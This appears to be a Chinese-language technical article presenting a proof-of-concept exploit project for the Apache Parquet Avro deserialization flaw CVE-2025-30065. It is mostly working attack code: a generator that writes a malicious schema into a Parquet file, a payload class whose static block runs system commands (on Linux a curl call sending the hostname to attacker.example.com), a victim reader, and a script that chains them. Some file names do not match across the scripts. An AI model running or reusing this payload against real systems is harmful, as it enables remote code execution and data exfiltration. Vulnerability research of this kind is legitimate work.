
这是一个针对Apache Parquet Java库高危反序列化漏洞CVE-2025-30065的概念验证(PoC)项目。该项目演示了如何通过精心构造的Avro模式,在Parquet文件中嵌入恶意负载,从而在目标系统读取文件时触发任意Java类的实例化。该漏洞的CVSS评分为10.0(严重)。本工具仅供授权的安全研究和教育目的使用,旨在帮助安全研究人员和开发者理解漏洞原理,并采取适当的防护措施。
⚠️ 免责声明:本工具仅用于教育研究和授权测试。严禁用于非法入侵或攻击。使用者需遵守相关法律法规。
ParquetExploitGenerator)使用标准Java类javax.swing.JEditorPane演示逻辑利用。PayloadRecord)包含静态代码块,展示如何在类加载时执行系统命令(如启动计算器或发送网络请求),具体行为根据操作系统自适应。CVE-2025-30065.sh),自动化处理Maven依赖解析、代码编译和PoC链的完整执行。ExploitGenerator)、负载(PayloadRecord)和受害者模拟程序(ParquetVictim),便于理解和分析。mvn -v 来验证。parquet-avro, parquet-hadoop, avro等)。如果希望分步执行或调试,可以参考脚本CVE-2025-30065.sh中的命令序列。
运行自动化脚本 ./CVE-2025-30065.sh 是最简单的使用方式。脚本执行后,你将看到如下流程:
cp.txt)。PayloadRecord.java。ParquetExploitGenerator,它将在当前目录生成一个名为exploit-jeditorpane.parquet的Parquet文件。该文件包含一个精心构造的Avro模式,其default值被设置为实例化javax.swing.JEditorPane类。ParquetVictim,该程序会读取上一步生成的Parquet文件。在读取记录时,由于Avro反序列化逻辑,会尝试实例化模式中定义的default值,从而触发JEditorPane的实例化。如果使用原始的PayloadRecord负载,则可能执行相应的系统命令。ParquetExploitGenerator.java)这是漏洞利用的核心。它不依赖自定义类,而是利用一个已知在反序列化时会产生副作用(如发起网络请求)的标准Java类。
/**
* @author Blackash
* @version 1.3
* @license For authorized security research and educational purposes only.
*
* Generates a Parquet file with a crafted Avro schema to demonstrate CVE-2025-30065,
* aligned with the vulnerability logic observed in the official Apache patch.
*
* This version avoids using custom classes and instead leverages a standard Java class
* (javax.swing.JEditorPane) known to exhibit side effects when deserialized.
*/
import org.apache.avro.Schema;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
import org.apache.parquet.avro.AvroParquetWriter;
import org.apache.parquet.hadoop.ParquetWriter;
import java.io.IOException;
public class ParquetExploitGenerator {
public static void main(String[] args) throws IOException {
String outputFile = args.length > 0 ? args[0] : "exploit-jeditorpane.parquet";
// 构造恶意Avro模式。关键点在于`trigger`字段的类型定义为一个名为`javax.swing.JEditorPane`的记录,
// 并设置了`default: {}`。这会导致在反序列化时,Avro尝试实例化这个“记录”,
// 实际上就是实例化`javax.swing.JEditorPane`类。
String maliciousSchema = "{"
+ "\"type\": \"record\","
+ "\"name\": \"ExploitRecord\","
+ "\"fields\": ["
+ " {\"name\": \"trigger\","
+ " \"type\": {\"type\": \"record\", \"name\": \"javax.swing.JEditorPane\", \"fields\": []},"
+ " \"default\": {}"
+ " }"
+ "]"
+ "}";
Schema schema = new Schema.Parser().parse(maliciousSchema);
Path path = new Path(outputFile);
Configuration conf = new Configuration();
// 使用AvroParquetWriter将模式写入Parquet文件。
try (ParquetWriter<Object> writer = AvroParquetWriter.builder(path)
.withSchema(schema)
.withConf(conf)
.build()) {
writer.write(null); // 写入一个空记录,模式本身已包含恶意定义。
}
System.out.println("[+] Malicious Parquet file generated: " + outputFile);
System.out.println("[!] Schema instantiates javax.swing.JEditorPane via default value.");
}
}PayloadRecord.java)这是一个传统的PoC负载,展示了如果攻击者能控制类路径,可以如何执行任意代码。其静态代码块在类被加载时即会运行。
package exploit;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class PayloadRecord {
static { // 静态代码块,在类首次被加载到JVM时执行。
try {
String os = System.getProperty("os.name").toLowerCase();
String cmd;
// 根据操作系统选择不同的命令,实现跨平台利用。
if (os.contains("win")) {
cmd = "cmd.exe /c start calc"; // Windows: 启动计算器
} else if (os.contains("mac")) {
cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; // macOS: 启动计算器
} else {
// Linux/Unix: 发送HTTP请求到攻击者服务器,可用于信息探测。
cmd = "curl http://attacker.example.com/ping?host=" +
java.net.InetAddress.getLocalHost().getHostName();
}
// 执行系统命令
Process process = Runtime.getRuntime().exec(cmd);
try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
System.out.println("[Payload Output] " + line);
}
}
} catch (Exception e) {
System.err.println("[Payload Error] " + e.getMessage());
e.printStackTrace();
}
}
}ParquetVictim.java)模拟一个使用了parquet-avro库的普通应用程序,它读取并解析Parquet文件,从而触发漏洞。
package victim;
import org.apache.avro.generic.GenericRecord;
import org.apache.parquet.avro.AvroParquetReader;
import org.apache.parquet.hadoop.ParquetReader;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
public class ParquetVictim {
public static void main(String[] args) throws Exception {
// 读取由ExploitGenerator生成的恶意Parquet文件。
Path path = new Path("exploit.parquet"); // 注意:此文件名需与实际生成的文件名匹配。
ParquetReader<GenericRecord> reader = AvroParquetReader.<GenericRecord>builder(path)
.withConf(new Configuration())
.build();
// 读取记录。这一行代码会触发Avro的反序列化过程。
// 如果文件中定义的default值对应的类(如JEditorPane或PayloadRecord)在类路径上,
// 并且反序列化逻辑允许实例化它,那么静态代码块或构造器中的代码将被执行。
GenericRecord record = reader.read();
System.out.println("Record loaded: " + record); // 这行日志输出时,漏洞可能已被触发。
}
}CVE-2025-30065.sh)此Bash脚本封装了整个PoC的构建和执行流程,确保环境一致且易于运行。
#!/bin/bash
BASE_DIR=$(pwd)
BUILD_DIR="$BASE_DIR/build/classes"
CP_FILE="$BASE_DIR/cp.txt"
JAR_DEPS=""
# 检查并利用Maven解析项目依赖,生成类路径文件(cp.txt)。
if command -v mvn &> /dev/null; then
echo "[+] Resolving dependencies with Maven..."
mvn dependency:build-classpath -Dmdep.outputFile=cp.txt > /dev/null
if [ ! -f "$CP_FILE" ]; then
echo "[-] Failed to generate classpath (cp.txt)."
exit 1
fi
JAR_DEPS=$(cat "$CP_FILE")
else
echo "[-] Maven not found. Please install Maven and run again."
exit 1
fi
# 创建编译输出目录
mkdir -p "$BUILD_DIR"
echo "[+] Compiling PayloadRecord.java..."
javac -d "$BUILD_DIR" PayloadRecord.java || exit 1
echo "[+] Compiling ParquetExploitGenerator..."
javac -cp ".:$BUILD_DIR:$JAR_DEPS" -d "$BUILD_DIR" POC-CVE-2025-30065-ParquetExploitGenerator.java || exit 1
echo "[+] Running exploit generator..."
java -cp ".:$BUILD_DIR:$JAR_DEPS" POC-CVE-2025-30065-ParquetExploitGenerator || exit 1
echo "[+] Compiling ParquetVictim.java..."
javac -cp ".:$BUILD_DIR:$JAR_DEPS" -d "$BUILD_DIR" ParquetVictim.java || exit 1
echo "[+] Running victim (payload should trigger)..."
java -cp ".:$BUILD_DIR:$JAR_DEPS" ParquetVictim6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANaOlEHDyHndY+aTga6WrV6
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。